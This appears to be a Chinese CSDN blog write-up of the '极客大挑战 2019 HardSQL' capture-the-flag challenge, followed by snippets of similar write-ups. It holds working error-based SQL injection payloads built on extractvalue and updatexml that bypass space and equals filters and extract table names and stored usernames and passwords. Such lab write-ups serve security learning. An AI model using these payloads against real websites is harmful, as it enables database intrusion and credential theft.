[极客大挑战 2019]HardSQL -wp

最新推荐文章于 2024-07-30 17:12:16 发布
最新推荐文章于 2024-07-30 17:12:16 发布
阅读量679 收藏
点赞数 1
版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。
本文链接：https://blog.csdn.net/freerats/article/details/107130653
版权
博客内容讲述了参与极客大挑战2019中遇到的HardSQL问题，通过SQL注入进行破解。作者描述了如何通过在用户名处添加特殊字符引发报错，然后利用过滤后的OR条件进行尝试。由于等号和空格被过滤，作者发现可以使用括号替代空格，并逐步进行表名探测。尽管substr函数被禁用，但通过right()函数依然能够获取信息。
摘要由CSDN通过智能技术生成

在这里插入图片描述直接找注入，随便填写用户名密码，用户名处多加个引号，有报错
在这里插入图片描述加个or 1 #

在这里插入图片描述
有过滤，抓个包fuzz一下
在这里插入图片描述
等号，空格等被过滤
发现可以用报错注入，空格可以用括号代替

username=admin'or(extractvalue(1,concat('0x7e',version())))%23

在这里插入图片描述

username=admin'or(extractvalue(1,concat(0x7e,(select(table_name)from(information_schema.tables)where(table_schema)like(database())))))%23

最低0.47元/天 解锁文章
冰可乐不加可乐
关注
[极客大挑战 2019]HardSQL
xj28555的博客
09-02 203
进入题目，一个登录框。 测试了下万能密码登录，无果，有WAF拦截，那接下来就是绕过WAF。 先抓包用bp进行FUZZ，看看有那些没有被拦截的函数。通过手工FUZZ和bpFUZZ结合，发现过滤了and、= 空格 union等多个sql关键字。 发现有一些，报错注入的函数是没有被过滤的，那我们这题就可以通过报错注入来进行注入。 这里我们利用updatexml函数进行报错注入。 payload #查看数据库信息 http://2d43986a-ef4e
CTF-Web-[极客大挑战 2019]HardSQL
归子莫的博客
05-03 2947
CTF-Web-[极客大挑战 2019]HardSQL 博客说明 文章所涉及的资料来自互联网整理和个人总结，意在于个人学习和经验汇总，如有什么地方侵权，请联系本人删除，谢谢！本文仅用于学习与交流，不得用于非法用途！ CTP平台 网址 https://buuoj.cn/challenges 题目 Web类，[极客大挑战 2019]HardSQL 打开题目的实例 思路 SQl的题目，首先试一试...
极客大挑战2019-hardsql
最新发布
lht2004的博客
07-30 476
报表名 1'or(updatexml(1,concat(0x7e,(select(group_concat(table_name))from(information_schema.tables)where(table_schema)like(database())),0x7e),1))#报数据 1'or(updatexml(1,concat(0x7e,(select(group_concat(username,'~',password))from(H4rDsq1)),0x7e),1))#
[极客大挑战 2019]HardSQL1 解题思路
xiyuanyue的博客
10-13 261
flag{d23142e7-2546-47c3-b238-de只返回一部分flag是因为updatexml 函数返回错误信息长度是112个字符，所以要对password 截取一部分，可以通过，substr left right函数做处理 ，substr函数已经禁止，就用right函数。2、尝试联合注入、时间盲注 发现 and union /**/ /*!2、关键字替换（空格替换，单引号替换，等号替换）；3、通过错误函数updatexml 获取数据库、表、字段。3、错误函数、时间盲注、条件盲注。
[极客大挑战 2019]FinalSQL wp
{OvEr}的博客
11-19 464
[极客大挑战 2019]FinalSQL wp 终极sql注入了，考点是盲注（写脚本的那种இ௰இ） 打开网页是这样的。 那个红色的卡片，我们随便点进去看看，直接点最后一个吧。 通过url判断注入点是id。 接着做FUZZ测试，发现同样过滤了union、or、and、||、&等我们常用的关键字，但是没有过滤异或符号^。 当我们输入id=1^1时，回显"Error" 当我们输入id=1^0时，回显正常 接下来我们进行盲注，下面是大神的脚本 step 1爆数据库 import requests u
NSSCTF-极客大挑战2020-web-wp
F1rstb100d
09-21 643
NSSCTF-极客大挑战2020-web-wp
[极客⼤挑战 2019]HardSQL
zzqzzq11的博客
11-30 923
输⼊http://8f4498ca-cd27-4251-b126-1de126b28554.node4.buuoj.cn:81/check.php?输⼊http://8f4498ca-cd27-4251-b126-1de126b28554.node4.buuoj.cn:81/check.php?输⼊http://8f4498ca-cd27-4251-b126-1de126b28554.node4.buuoj.cn:81/check.php?使⽤1'，注意需要区分⼤⼩写，必须要英⽂键盘的'，看到报错了。
极客大挑战 2019]EasySQL
09-03
EasySQL 是极客大挑战 2019 中的一个题目，它是一个简单的 SQL 数据库查询题目。可以通过编写 SQL 查询语句来实现对给定的数据库表进行数据查询和分析。 在 EasySQL 中，你将面对一个包含不同表的数据库，你需要根据题目要求来编写 SQL 查询语句，从而得到正确的结果。这道题的目标是考察你对 SQL 查询语句的掌握程度和对数据库操作的理解。 在极客大挑战 2019 中，EasySQL 是一个相对较简单的题目，旨在帮助参赛者熟悉 SQL 查询语句的基本使用和常见操作。通过解决这个问题，你将能够提高自己的 SQL 查询能力，并为更复杂的数据库操作打下基础。 如果你有关于 EasySQL 的具体问题，我可以帮助你更详细地解答。
评论
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值